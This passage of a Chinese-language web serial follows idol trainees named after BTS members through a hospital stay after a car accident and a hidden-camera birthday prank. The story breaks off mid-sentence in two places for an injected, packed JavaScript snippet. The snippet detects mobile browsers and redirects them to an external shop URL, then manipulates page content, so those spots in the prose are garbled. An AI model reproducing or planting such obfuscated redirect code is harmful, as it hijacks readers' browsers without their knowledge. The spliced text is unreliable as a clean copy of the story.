他穿着校服,外面还套着那件深蓝色外套,只是看起来有些皱巴巴的,他正微微低着头,手里捧着一杯水,眼神有些放空,浓密的睫毛在眼下投出一小片阴影。 听到动静,他立刻抬起头,眼眶和鼻尖都还红红的,像是哭过,又像是熬了夜。 “哥?你醒了?” 安岁秋的声音有些沙哑,他立刻凑近些,将手里的水杯递过来,细心地插好了吸管,将吸管另一端小心地递到闵玧其干燥的唇边,“喝点水。” 温水滋润了灼痛的喉咙,带来些许力气。 闵玧其努力运转着因为麻醉而迟钝的大脑,昏迷前的碎片记忆逐渐拼凑——刺眼的车灯、猛烈的撞击、倒下的电瓶车、左肩传来撕裂般的剧痛……然后就是一片黑暗和混乱的感知。 “……你怎么在这儿?”他开口,声音沙哑得厉害。 安岁秋垂着眼睫,避开他的视线,语气尽量平稳:“医院……打电话给我的。说你出了车祸被送过来,他们联系不到别人,看你手机最后一个联系记录是我,就打给我了。” 他顿了顿,声音低了下去,“我当时……吓坏了。” 闵玧其模糊记得自己好像被卷到了车底,之后记忆一片混沌,只隐约感觉耳边一直有人反复叫他的名字,声音很急,很轻,却一直没断。 “谁送我来的?”他问。 安岁秋眼神飘忽了一下,“不知道。听医院说事故现场有人打了119,是个……戴着口罩的好心人帮忙叫的救护车,还……垫付了所有的费用。” 闵玧其皱起眉,戴着口罩的好心人?他昏迷时听到的呼唤声……是幻觉吗? “哥,你肩膀还疼吗?” 安岁秋适时地转移了话题,目光落在闵玧其被纱布和固定带包裹着的左肩上,声音带着小心翼翼的关切。 “医生说,是左肩脱臼,已经做了复位手术,很成功,好好休养,按时做康复训练,不会留下后遗症的。” 闵玧其想抬手,像往常一样揉揉弟弟的头发,告诉他别担心,但手臂沉得厉害,只勉强抬起一点,就被安岁秋伸手轻轻托住了。 他抬起的是没受伤的右手,安岁秋下意识接住的也是右手。 于是闵玧其清楚地看到了,安岁秋那只原本白皙修长的手背上,缠绕着几圈洁白的绷带,边缘隐约透出一点碘伏的黄色。 “你的手怎么了?”闵玧其问,眉头蹙得更紧。 安岁秋顺着他目光看了看自己的手,无所谓地晃了晃。 “这个啊……不小心撞的,接到电话的时候太着急,跑出门的时候手磕门框上了。没事,小伤。” 闵玧其无奈地闭了闭眼,麻醉的效力还未完全消退,让他感觉疲惫。 “别什么都跟金南俊学,毛手毛脚的,下次小心点。” 语气是习惯性的淡淡嫌弃,却藏着不易察觉的关心。 安岁秋闻言,把脸凑得更近了些,漂亮的眼睛弯起,里面映着病房顶灯细碎的光,还有闵玧其苍白却清晰的脸。 他笑起来,声音轻轻的,带着点哄人的意味,“我保证,下次不会了。” “所以,玧其哥也要答应我,以后……千万千万要小心一点。” 15. 互惠照护 闵玧其原本的打算,是按下这件事,谁都不告诉的。 夜色渐沉,手术已经顺利完成,医生也说过三天就能出院,静养即可,在他看来这算不上什么需要兴师动众的大事。 可安岁秋就坐在床边,用那双还残留着红意、清澈见底的眼睛盯着他,有种洞悉一切的安静执拗,看得闵玧其没来由地有些心虚。 “哥。” “如果医院不是找不到别人,只能打给我……你是不是就准备谁也不说,自己一个人扛过去?” 闵玧其张了张嘴,喉结滚动了一下,发现自己无言以对。 他确实这么想的,甚至在车祸发生、身体剧痛的那一瞬间,他脑子里闪过的念头是“外卖超时了要赔钱”以及“公司的电瓶车坏了不知道要不要赔”,独自处理一切,早已是他的习惯。 “哥?”安岁秋又唤了一声。 闵玧其移开视线,盯着雪白的天花板,试图装死。 “玧其哥。”声音近了些。 “……闵玧其!” 连名带姓都叫上了。 闵玧其无奈,只好转回头,摆出平时那副不耐烦的凶样。可惜苍白的脸色和肩上的绷带让这威慑力大打折扣,语气里反而透出几分色厉内荏的纵容,“干嘛?没大没小的,叫哥。” 安岁秋不说话,只是继续用那双浅棕色的眼睛看着他。 眼眶和鼻尖还带着未褪尽的薄红,在病房冷白的灯光下,让他精致的面容平添了几分易碎的脆弱感,像件小心翼翼捧着的瓷器,无声地控诉着。 闵玧其喉结又动了动,率先败下阵来,那股想要独自承担的倔强,在对上弟弟这种眼神时,轻易便溃散了。 “行行行……”他投降般叹了口气,声音软下来,“你打吧,告诉他们……我没事,别大惊小怪。” 一通电话拨回宿舍,果然像往平静的湖面投了颗石子,瞬间激起千层浪。 金硕珍他们刚从孙成德老师的地狱加练中爬回宿舍,连拖鞋都来不及换,就接到了安岁秋的电话。 闵玧其躺在床上,甚至能隐约听见听筒里传来一连串兵荒马乱的声响——东西碰倒的声音、急促的脚步声,还有几声几乎破音的惊呼,他猜测来自金泰亨或田柾国,或者两人都有。 他放空大脑,有些无奈地想,果然。 安岁秋连忙对着手机那头安抚,用尽量平稳的语调快速说明了情况,电话那头传来更多七嘴八舌的问话,安岁秋一一耐心回答,这才挂了电话。 回头看向病床,闵玧其正仰面躺着,目光无焦点地落在天花板上,脸色在灯光下显得越发苍白,左肩和手臂被白色的三角巾固定着,整个人仿佛笼罩在一层脆弱的、与世隔绝的透明罩子里,安静得有些过分。 安岁秋抿了抿唇,默默走过去将病床的靠背缓缓摇起,调整到一个舒适的角度,又细致地替他掖好被角,整理好枕头。 然后,他在床边坐下,轻轻捧起闵玧其那只没受伤的右手。 安岁秋的手还带着室外的微凉,小心地将脸颊贴上对方温热的掌心,依赖地蹭了蹭,像只终于找到依靠、收起所有尖刺的幼兽。 闵玧其指尖微微一动,随后放松下来,任由他贴着,甚至用指腹轻轻回蹭了一下对方柔软的脸颊。 心里那点被揭穿的别扭散去,取而代之的是一种被全然依赖的、酸软的情绪。 大概……真把这孩子吓坏了,他想。 两人有一搭没一搭地低声说着话。 安岁秋告诉闵玧其,他已经自作主张打电话辞掉了那份外卖兼职,老板听说出了车祸,很爽快地答应了,并表示会结算工资。他也联系了经纪人宋浩范,公司那边已经知晓情况。 闵玧其听着,只是默默点头,没有对弟弟这种行为表示任何不满,心底深处反而泛起一丝奇异的的满足感。 没过多久,病房门被匆忙推开,金硕珍带着其他几人鱼贯而入,每个人都带着未散的汗水和焦急的神色。 “玧其啊!怎么样?疼不疼?” “哥!医生怎么说?真的没事吗?” “呀,玧其哥!你怎么这么不小心!” 七嘴八舌的关心瞬间淹没了小小的病房,闵玧其甚至有些应接不暇,还是安岁秋在一旁冷静地代为解释,才让慌乱的众人稍稍安心。 天色已深,闵玧其不想让大家都耗在医院,况且医院也不可能允许这么多人留宿。他刚想开口让大家回去,金硕珍已经安排起来,“行了,都别挤在这儿,孩子们都回宿舍,我今晚留下。” “不行不行,”郑号锡立刻反驳,“哥你得负责开车,把泰亨他们送回去,我留下吧,明天早上你们谁再来换我就行。” 几个哥哥迅速而高效,同时完全无视了病床上闵玧其微弱的“我真没那么严重”、“我自己能行”的抗议,果断地排好了接下来几天的陪护轮值表。 金泰亨和田柾国帮不上什么实质的忙,看着被绷带固定的闵玧其,两张小脸上写满了无措和心疼,像两只被雨淋湿、耳朵尾巴都耷拉下来的小狗。 闵玧其看着好笑又心软,放柔声音安慰了他们两句,然后趁着安岁秋背对他和金南俊仔细复述注意事项时,悄悄朝两个弟弟招了招手,压低声音,“帮哥个忙……回去看着点岁秋,他好像也伤着了,不肯说。” 他早就注意到,安岁秋行动时比平时缓慢,尤其是站起和坐下时,眉心会几不可察地蹙一下,刚才他追问,却被对方轻描淡写地绕开了。 金泰亨和田柾国闻言,立刻瞪圆了眼睛,看向安岁秋的背影,用力点头,神情严肃地接下了这个“秘密任务”。 最终,留下陪夜的是郑号锡。 而因为脸色看起来比伤员闵玧其好不了多少、因而在“谁留下”这个问题上完全失去发言权的安岁秋,则是被田柾国紧紧揽着肩膀,带出了病房。 走到门口,安岁秋脚步顿了顿,像是忽然想起什么,他转过身从口袋里掏出那个硬质的小方盒,朝着病床的方向轻轻一抛。 闵玧其下意识抬起右手接住,低头,掌心里躺着一个深色丝绒质感的精致小盒。 他再抬头时门口却已经空了,只剩下渐渐远去的、属于少年们的杂乱脚步声。 安静的病房里,只剩下仪器规律的滴答声。 闵玧其低头看着掌心的盒子,半晌,几乎无声地笑了一下。 回到宿舍的安岁秋果然没能蒙混过关,哥哥们和弟弟的注意力从闵玧其身上暂时移开,立刻聚焦到他手上的绷带和略显滞涩的步伐上。 “岁秋啊,你这手……还有腿,怎么回事?”金硕珍眉头紧锁。 这一次,安岁秋没有选择隐瞒。他本就不喜欢撒谎,对闵玧其隐瞒垫付费用,是了解对方过于敏感要强的性子,怕他知道了反而无法安心养病,但在其他家人面前,他不想再隐瞒。 安岁秋将事情的经过,包括自己赶到现场、垫付费用、签字手术等细节,原原本本地说了出来。 金硕珍听完,叹了口气,抬手揉了揉太阳穴。 他能说什么呢?安岁秋做的没错,闵玧其的性格他也了解,对着这两个弟弟,他一句重话都说不出来。 “先别说那些了,”金硕珍语气温和却不容置疑,“把你手上的绷带解开我看看……还有腿,别以为我们看不出来你走路不对劲。” 金南俊已经默契地将宿舍那个半旧的医药箱拿了过来。 金硕珍拉着安岁秋在凳子上坐下,自己则半跪在地板上,小心翼翼地卷起他深蓝色校服裤的裤腿。 布料摩擦过皮肤,安岁秋几不可察地吸了口冷气。 膝盖和小腿上的瘀伤暴露在灯光下,安岁秋的皮肤极白,此刻那一片青紫中泛着黑红的痕迹便显得格外触目惊心,尤其是膝盖,大片的瘀血晕开,边缘已经透出淡淡的黄。 田柾国只看了一眼,眼眶瞬间就红了,咬着嘴唇,要哭不哭的样子。 安岁秋伸出没受伤的左手,轻轻挑起田柾国的下巴,拇指抚过他的下眼睑,声音放得很柔,“没事的,柾国,我就是这样的体质,轻轻碰一下看起来就很吓人,其实不疼的。” 他又看向旁边同样瘪着嘴、眼神湿漉漉的金泰亨,习惯性地揉了揉他的发顶。 这个动作他现在做得越来越顺手了,在他心里,金泰亨和田柾国差不多,很多时候真的就像两个需要照顾的弟弟。 金硕珍又叹了口气,从药箱里翻出半瓶还没过期的活血化瘀药油,他刚才一直紧绷着,此刻手指冰凉。他攥了攥拳,感觉温度一时半会儿回不来,便拧开瓶盖将药油递给了旁边的金泰亨。 金南俊肯定被pass,他那奇怪的破坏力别让安岁秋伤上加伤就行,田柾国也pass,小孩从接到安岁秋电话的时候手就在抖,现在还没恢复过来呢,所以金硕珍移开了位置,换金泰亨过来。 金泰亨接过药瓶,直接在安岁秋脚边盘腿坐下,用双腿虚虚环住对方的脚踝,将他固定在自己身前的小空间里。 一股清冽混合着淡淡薄荷味的药香在空气中散开。 金泰亨倒了些药油在掌心,双手快速搓揉,直到掌心发热。 他先轻轻握住安岁秋纤细的脚踝,然后慢慢将温热的手掌覆上那片骇人的青紫,动作起初有些生涩,但在感受到安岁秋膝盖瞬间的紧绷和那声隐忍的闷哼后,立刻放得更轻、更柔。 金泰亨低着头,额前细碎的黑发垂下来,遮住了部分眉眼,平日里总是笑得见牙不见眼的四方嘴此刻紧抿着,高挺的鼻梁和深邃的眉眼在专注时显出一种超越年龄的沉稳。 药油的凉意逐渐被掌心的温热化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394864|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,渗透进皮肤,安岁秋慢慢放松下来。 “好了,安安...” 金泰亨终于抬起头,掌心离开那片已经揉得发热、颜色似乎也淡了些许的皮肤。 他脸上重新绽开安岁秋熟悉的、带着点傻气的灿烂笑容,方才那片刻的成熟感瞬间消散,又变回了那只快乐的小狗。 悬了一整晚的心,此刻终于彻底落到实处,疲惫后知后觉地席卷上来。 尽管安岁秋一再表示自己行动无碍,田柾国还是紧张得不行,坚持要牵着他的手,就像上次在密室里那样,亦步亦趋地跟着,仿佛怕一松手,小哥哥就会在熟悉的宿舍里走丢。 最终,安岁秋是在田柾国的下铺睡的,田柾国则爬到了上铺安岁秋的床上。 “我怕睡着不小心碰到哥的伤。” 他小声解释,把脸埋进安岁秋干净的被褥里,深深吸了一口气。 安岁秋从不用香水,他对香水过敏,但对气味敏感的田柾国,却总能在他身上、物品上闻到一种很淡的、清新的柚子味,不甜腻,很舒服,让人安心。 陷入沉睡的前一秒,田柾国迷迷糊糊地想:明天,一定要问问岁秋哥,用的是哪款沐浴露…… 第二天,金硕珍开车,载着金南俊和准备好的早餐去医院换班,在车上,安岁秋将一份细心包好的早餐递给在陪护床上躺了一夜、略显疲惫的郑号锡。 其他人还是要照常去公司上课。 安岁秋因为腿伤,被暂时豁免了舞蹈和体能训练,但他没让自己闲着。自从上次酒吧的意外实战后,他对rap的理解仿佛打通了某个关窍,此刻他正捧着手机研读网上的资料,在歌词本上认真地写写画画。 刚结束一轮舞蹈练习、满身是汗的郑号锡走过来,瞥见他工整详尽的笔记,忍不住出声指点了几句。虽然他自己接触说唱也不过一年左右,但经验总比安岁秋丰富些。 安岁秋听得眼睛发亮,完全不在意郑号锡身上的汗意,很自然地靠过去,仰着脸,用那双漂亮的眼睛看着对方,语气里带着毫不掩饰的崇拜。 “号锡哥懂好多!跳舞也厉害,说唱也在行,唱歌也好听……简直没有不擅长的事嘛!” 郑号锡被他夸得不好意思,笑着露出了标志性的心形嘴,抬手揉了揉他的头发,“哎一古,我们岁秋现在真是越来越会说话了。” 时间在规律的练习和轮番的医院探望中平稳滑过,主要由金硕珍、金南俊、郑号锡和经纪人宋浩范四人轮流负责照看闵玧其,几个弟弟则被勒令待在宿舍和练习室,不许添乱。 安岁秋自那晚之后,没再去过医院。 直到几天后的一个傍晚,他结束声乐课回到宿舍,推开门的瞬间,视线捕捉到客厅里多了一个熟悉的身影。 闵玧其回来了。 他穿着简单的家居服,左臂依然吊着三角巾,但气色看起来好了很多,正靠坐在旧沙发上,听见开门声,抬眼望过来。 “哥。” 安岁秋眼睛一亮,语气里带着自己都没察觉的轻快。 “嗯。”闵玧其低沉地应了一声,点了点头,他朝安岁秋招招手。 安岁秋走过去,闵玧其用没受伤的右手,从口袋里掏出了那个深色丝绒小盒举到他面前,声音平静,却带着不容拒绝的意味,“帮我戴上。” 安岁秋接过盒子,打开,里面静静躺着那对羽毛与锆石交织的耳钉。他小心地取出一只,指尖微凉,轻轻碰触到闵玧其的耳垂,对方配合地微微侧头。 冰凉的金属穿过耳洞,羽毛坠饰和菱形锆石轻轻摇曳,在宿舍顶灯不算明亮的光线下,折射出细碎而冷冽的光芒,与他身上那种冷淡又矛盾的气质完美契合。 安岁秋退后一步,仔细端详,嘴角不自觉地上扬,眼里盛满了毫不掩饰的欣赏和满足,“很好看。” 闵玧其抬手用指节轻轻碰了碰耳垂下的坠饰,冰凉的触感,他看着安岁秋笑得弯起的眼睛,自己唇角那抹惯常紧绷的线条,也终于柔和地向上扬起。 他今天出院时,是宋浩范来接的。 办完手续,闵玧其鬼使神差地向一个相熟的护士多问了一句:“请问,您知道当初送我来医院的那个戴口罩的好心人,大概是什么样子吗?我想谢谢他。” 护士回想了一下,有些疑惑地看着他:“戴口罩?哦……好像是有个穿着深蓝色校服、戴着口罩的男孩子,忙前忙后的……诶?那不是你弟弟吗?他当时急得眼睛都红了,我们还以为……” 后面的话,闵玧其没太听清。 他看着眼前笑容干净明亮的安岁秋,什么也没问,只是觉得耳垂上这点冰凉的重量,和心里那份沉甸甸的暖意,都刚刚好,那是一个他早已心知肚明的答案。 闵玧其抬起完好的右手,轻轻揉了揉安岁秋柔软的发顶。 16. 情感阈限测试 时光在汗水和旋律中平稳流淌。 闵玧其左肩的固定带拆掉后,医生叮嘱要循序渐进地恢复力量训练。练习室里大家随着节拍完成一组高强度的上肢动作,闵玧其还是会不自觉地抬起右手,轻轻按揉左肩关节处,眉头微蹙。 安岁秋放下手里的水,默默走过去,绕到他身后。 温热的手指隔着薄薄的练习服贴上肩胛,顺着肌肉纹理缓缓按压,力道恰到好处,闵玧其开始僵了一下,感受到熟悉的柚子茶香气,随后便放松下来,任由那双灵巧的手帮他缓解酸胀。 金南俊某次瞥见这场景,碰了碰身边的郑号锡,两人相视一笑,颇有几分打趣的意味。 体能训练结束后,所有人都像被抽掉骨头般瘫倒在地板上,胸口剧烈起伏。金硕珍靠墙坐着,额发湿漉漉地贴在额角,眼神里透着一丝挫败——刚才的连续跳跃组合,他的落地声总是最沉重,膝盖也隐隐作痛。 安岁秋喘匀了气,慢慢挪到他身边坐下,声音还带着运动后的微哑,却放得很轻,“哥。” “刚才那个跳跃落地,”安岁秋伸出手,掌心向上,模拟着脚掌落地的姿态。 “你试试看,不是整个脚掌平拍下去。前脚掌先触地,这里——” 他用指尖轻点金硕珍的膝盖侧面,“像弹簧一样,顺势弯曲缓冲,把力泄掉。这样对膝盖压力小,声音也会轻很多。” 安岁秋说得认真,睫毛上还挂着细小的汗珠,金硕珍愣住了,他试着按照安岁秋说的,在脑海中模拟那个动作,想象着力道的流向。 “像这样?”金硕珍比划了一下。 安岁秋点头,眼睛弯起来,“嗯,哥的核心力量其实很好,只是发力习惯可以再调一下。下次试试,会轻松点的。” 之后当金硕珍的身体记忆被一点点修正,落地变得轻盈的瞬间,他下意识地看向安岁秋——少年正和郑号锡讨论着另一个舞步细节,侧脸在练习室顶灯下显得专注又干净,金硕珍心里那点对于舞蹈的挫败感悄然消散。 难得的休息日早晨,宿舍里弥漫着金硕珍煎蛋的香气。 安岁秋洗漱完,抱着笔记本窝进沙发角落,打算利用碎片时间整理一段新旋律,刚坐下不到五分钟,身边沙发一沉。 “安安早!”金泰亨穿着恐龙连体睡衣,毛茸茸的脑袋凑过来,手里还抓着片吐司。 “在看什么?新歌吗?” 紧接着,另一侧也被占据,田柾国像只悄无声息的兔子,端着牛奶杯挨着安岁秋坐下,圆眼睛眨了眨,“岁秋哥早。” “……早。” 这本该是个和谐的清晨画面,直到金泰亨发现田柾国离安岁秋更近一点,胳膊都快贴上了。 “柾国啊,”金泰亨咬着吐司,含糊不清但意图明显,“你那边太阳晒,跟哥换换位置?” 田柾国抬头喝了一大口牛奶,“不晒,窗帘拉着的。” “那你牛奶味熏到安安了。” “泰亨哥的吐司酱汁味更重。” “我这是果酱!香的!” “我牛奶也是香的。” 两人你一言我一语,身体却都朝着安岁秋的方向又挤了挤。 安岁秋被夹在中间,笔记本都快拿不稳了,试图讲道理,“沙发很宽,你们可以坐开点……” 无效。 最后演变成金泰亨和田柾国一左一右,像两尊固执的门神,把安岁秋牢牢固定在沙发正中央。 金泰亨甚至得寸进尺地把下巴搁在安岁秋肩上,美其名曰“看谱子”,田柾国则有样学样,抓着安岁秋的衣袖不放。 安岁秋生无可恋地举着笔记本,感觉自己像被巨型考拉绑架的树枝。 金硕珍从厨房探头看了一眼,顿时笑出声,擦擦手摸出手机,“咔嚓”一声记录下这滑稽的一幕,“哎一古,这画面得留作纪念,我们岁秋真是人气爆发啊。” 吃完早餐,金硕珍开车送三个小的上学。 安岁秋的普通高中、田柾国的初中、金泰亨的艺术高中,三个方向,正好绕了小半个首尔。车里放着轻快的晨间广播,金泰亨和田柾国还在为早上谁更占理小声斗嘴,安岁秋靠着车窗,看着窗外流动的街景,嘴角带着无奈的笑意。 清潭高中的校园生活对安岁秋而言,是另一种节奏,他依旧每周只来三天,但存在感却与日俱增。 班长崔书妍最初只是尽责地通知他班级事务,后来渐渐成了某种意义上的粉丝。 声音粉怎么不算粉丝呢。 她回去补过安岁秋早期的电视剧,发现那时的嗓音虽然精致,却带着孩童特有的清亮奶气,并非她如今着迷的这种清透中糅着慵懒磁性的质感。最近的电影更是没有台词,于是,她开始有些“公私不分”,借着交作业、传达通知的机会,希望能多听他说几句话。 崔书妍很快发现安岁秋对声音异常敏感。 因为她前一晚复习到太晚,嗓子有些干涩,去给安岁秋送学习小组分组表时,下意识清了清嗓子才开口,“安岁秋xi,这是下周的分组安排……” 安岁秋正在整理笔记,闻声抬起眼,目光在她脸上停留了一瞬,然后说:“班长nim,你嗓子有点哑,最近换季,多喝点热水。” 崔书妍当场僵住,耳根腾地烧红。一半是因为被关心了的羞赧,另一半是懊恼,居然被听出来了! 她含糊应了声,放下表格几乎是落荒而逃,回到座位后心脏还在扑通乱跳。 安岁秋对班长的心理活动并无察觉。 他更烦恼的是桌洞里日益增多的额外物品,粉色蓝色的信封、包装精致的小盒子、偶尔还有手作饼干或糖果。 有署名的,更多是匿名,来自高年级的学长学姐,同级的同学,甚至有一次发现一封字迹娟秀、落款是隔壁女校的信。 起初因着他演员身份和自带的那份疏离感,大家多是远远观望。但随着安岁秋来校次数增多,偶尔被同学问到问题时会耐心解答,月考成绩稳居前列,再加上上周校庆—— 学生会在班主任的授意下邀请他出个节目,安岁秋背着那把薄荷绿色的Fender Jazz Bass上台,自弹自唱了一首改编过的轻摇滚歌曲。 舞台灯光下,少年微卷的黑发,专注的眉眼,修长手指在琴弦上飞舞,清朗中带着磁性的嗓音透过音响撞进每个人心里。 那天礼堂的尖叫声几乎掀翻屋顶。 自此,“安岁秋”三个字在校园里彻底传开。 走在走廊上会有视线追随,去小卖部会被悄悄注视,就连去洗手间,偶尔也能感受到打量目光。 安岁秋无奈,只得尽量挑临上课前、人流稀少时行动。 对于那些情书和礼物,他有一套自己的处理方式。 署名的情书,他会用同样素净的信纸,写一封简短而礼貌的回信,语气委婉但立场明确,连原件一起托同学交还。匿名或无署名的,则被整齐收进教室个人储物柜的角落。 礼物则有些棘手,手工饼干、巧克力、护手霜……他实在用不完,只好带回宿舍。 “哇!又有礼物了?” 金泰亨眼睛发亮地扒拉着袋子,“这次是什么?饼干!看起来好好吃!” “泰亨哥,等一下。” 安岁秋拿起那盒包装精美的饼干,发现里面躺着一张浅蓝色卡片,字迹工整:「请一定要吃哦!是我亲手做的!——一直为你加油的人。」 金泰亨凑过来念完,瞬间警觉,一把将饼干盒抢过去,神情严肃:“等等!亲手做的?会不会……有毒?或者加了什么奇怪的东西?” “安安,这种不明来历的食物很危险的!我先帮你试试!” 话音刚落,后脑勺就挨了郑号锡不轻不重的一巴掌。 “呀,金泰亨!你电视剧看太多了吧?哪有那么多下毒桥段!” 他拿过饼干盒,检查了一下密封,又闻了闻,“看起来就是普通手工饼干,不过岁秋啊,不认识的人送的食物,确实要小心点。” 最终,那盒饼干在几位哥哥“试毒”(嘴馋),被判定安全美味,进了大家的肚子。 金硕珍一边嚼着饼干,一边用胳膊肘碰碰安岁秋,故意压出夸张的大叔腔调,挤眉弄眼,“wuli岁秋魅力不得了哦~这么多‘爱心礼物’,哥当年上学的时候可没这待遇,果然是长得帅就是罪啊~” 安岁秋被调侃得耳根发热,抓起抱枕轻轻砸过去,“硕珍哥!” 十月在秋意渐深中悄然来临。 安岁秋的生日——10月4日,成了宿舍近期头等“机密大事”。 “真的要做隐藏摄像机吗?” 田柾国盘腿坐在地板上,怀里抱着安岁秋那天抓娃娃送他的棕色兔子玩偶,眉头微蹙,显得有些担忧。 “岁秋哥会不会真的被吓到?” “安啦!” 金泰亨信心满满地搂住他,“我们安安胆子很大的!上次看恐怖片,鬼跳出来他眼睛都没眨一下!就是逗逗他,给他一个难忘的生日惊喜嘛!” 金南俊歪了歪头,分析道:“按照岁秋的性格,可能一开始会当真,但应该很快能反应过来……” 闵玧其靠在墙边,一直没说话,等大家讨论得差不多了,他才淡淡开口,“我觉得没必要。” 见众人看过来,他补充道,“吓唬他干什么,好好过生日就行。” “哎哟,玧其你就是太正经了。” 金硕珍笑着拍拍他肩膀,“就一次嘛,生日逗逗他,之后立刻揭秘,他肯定会哭笑不得的,多有意思!而且剧本我都想好了,我和号锡来演,绝对逼真!” 郑号锡也跃跃欲试,眼睛发亮,“对啊对啊,玧其哥,放心,我们有分寸的!保证在岁秋哭出来之前就喊卡!” 闵玧其看了看兴致勃勃的几人,又想到安岁秋平时那副小大人的淡定模样,沉默片刻,最终还是妥协地“嗯”了一声。 生日当天下午,练习结束得比平时早些,大家收拾东西时,金硕珍和郑号锡交换了一个眼神。 “岁秋啊。” 金硕珍叫住正在收耳机的安岁秋,语气听起来有些严肃,“你过来一下,哥有话跟你说。” 安岁秋不明所以,抱着外套走过去。 郑号锡也走过来,站到金硕珍旁边,脸上没了往常的笑意,“正好,我也想说,是关于你接下来的训练计划。” 安岁秋察觉到气氛微妙,站直了身体,“怎么了,哥?” 金硕珍深吸一口气,眉头皱起,“我觉得孙老师给你新排的那套舞,强度太大了。” “尤其是那个连续地板动作接旋转,对你膝盖负担很重,你上次伤还没好利索,应该以基础巩固为主,不能急于求成。” 郑号锡立刻反驳,“哥,话不能这么说……” “岁秋的舞蹈天赋和进步速度大家有目共睹,那个动作虽然有难度,但突破了对他的框架和控制力提升帮助很大。不能因为一点小伤就畏手畏脚,保护过度反而是限制。” “这是保护过度吗?这是实事求是!他身体要紧还是突破要紧?” “当然是突破要紧!他是要出道的人,不吃苦怎么行?难道一直待在舒适区?” 两人语速越来越快,音量也逐渐提高,脸色都绷紧了。 金硕珍平时总是温润带笑,此刻却满脸不赞同;郑号锡一向活力温和,此刻也显得激动坚持。争吵的内容紧紧围绕着“安岁秋的训练强度和身体照顾”,听起来句句在理,却又针锋相对。 安岁秋还有些茫然,试图插话,“哥,我其实觉得那个动作可以……” “岁秋你别说话!”金硕珍打断他,语气是少有的严厉。 “哥,你们别吵了……” 安岁秋声音低了下去,目光在两人之间焦急游移,他看到金硕珍因为激动而发红的耳根,看到郑号锡紧握的拳头,听到他们话语里那些“为他好”却彼此冲突的担忧和期待。 一种冰冷的慌乱顺着脊椎爬上来。 哥哥们……真的因为他的事情,吵得这么厉害? 是因为他不够好,让哥哥们意见分歧?还是他做错了什么? “你根本就不了解他现在需要什么!”郑号锡拔高声音。 “你才是太急功近利,不考虑实际情况!”金硕珍毫不退让。 安岁秋张了张嘴,想说什么,喉咙却像被堵住了。 视野毫无征兆地模糊起来,温热的液体迅速积聚,然后不受控制地、大颗大颗滚落,没有声音,他只是睁着那双漂亮的、此刻盛满无措和惊慌的眼睛,泪水安静地滑过脸颊,在下巴处汇聚,滴落。 时间仿佛凝固了。 金硕珍和郑号锡的争吵声戛然而止,两人脸上逼真的怒意瞬间冻结,然后碎裂,转换成完全的错愕和恐慌。 “岁、岁秋?”金硕珍声音都变了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394865|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调。 闵玧其几乎是瞬间就跨步上前,一把将安岁秋拉到身边,手按在他单薄的肩上,眼神锐利地扫向金硕珍和郑号锡,带着无声的谴责。 金南俊手里的水杯“哐当”一声砸在地上,目瞪口呆。 “呀!假的!是假的!” 郑号锡第一个崩溃,扑过来手足无措地想擦安岁秋的眼泪,又不敢用力,“岁秋啊!对不起!我们骗你的!是隐藏摄像机!生日玩笑!没有吵架!我们装的!” 金硕珍也慌了神,连声说:“对对对!是哥不好!不该吓唬你!我们没吵架,一点事都没有!剧本!都是剧本!” 田柾国和金泰亨也冲了过来,一个紧紧抓住安岁秋的手,眼圈也跟着红了,另一个急得语无伦次,“安安!不哭不哭!是坏哥哥们骗人!打他们!” 安岁秋被围在中间,眼泪却掉得更凶,他抽噎了一下,终于发出声音,带着浓重的鼻音和满满的委屈。 “……我讨厌吵架,讨厌隐藏摄像机……” 这句话像终极武器,击中了所有人的愧疚点。 金硕珍心都要碎了,赶忙用双手捧住安岁秋湿漉漉的脸颊,拇指轻柔地抹去不断涌出的泪水,声音放得无比温柔,“对不起对不起,是哥们错了,再也不玩了,以后都不玩了。” “我们岁秋是天使啊,1004出生的天使,怎么能让天使哭呢?不哭了不哭了……” 郑号锡在一旁疯狂点头,双手合十做忏悔状,“哥错了,哥给你当牛做马!看恐怖片也随叫随到!再也不吓唬你了!” 闵玧其沉默地递过来一包纸巾,看着安岁秋通红的眼睛和鼻尖,眉头紧锁,金南俊搜肠刮肚想讲笑话逗他开心,结果讲了个冷笑话,反而让安岁秋打了个哭嗝。 哄了半天,安岁秋才慢慢止住眼泪,但眼睛和鼻尖还是红红的,像只受了天大委屈的兔子,偶尔还抽噎一下,任由金硕珍像对待易碎品一样帮他擦脸,虽然小声说了句“哥,谐音梗好老”,但总算没再掉金豆子。 一场计划中的惊喜,以始料未及的眼泪和兵荒马乱的道歉告终。 金泰亨之前信誓旦旦的“安安胆子大”言论不攻自破,他最后悔,一晚上都黏在安岁秋身边,试图用零食和鬼脸弥补。 傍晚的聚餐安排在常去的烤肉店包间。 推开门,更大的惊喜等着安岁秋——FNC的乐队哥哥们竟然都在。 “呀!我们小寿星来了!” 李弘基第一个嚷嚷起来,上来就揉乱了安岁秋刚理顺的头发,“听说白天被吓哭了?哎一古,金硕珍郑号锡你们俩多大了还玩这个!” 郑容和笑着把安岁秋拉过去,递给他一个包装好的长条盒子,“生日快乐,安安,别理他们,哥送你好的。” 姜敏赫和李正信也围过来,熟悉的吵闹和关怀瞬间驱散了白天那点委屈,安岁秋看着满屋子熟悉的笑脸,眼睛又有点发热,这次是因为开心。 礼物堆成了小山。 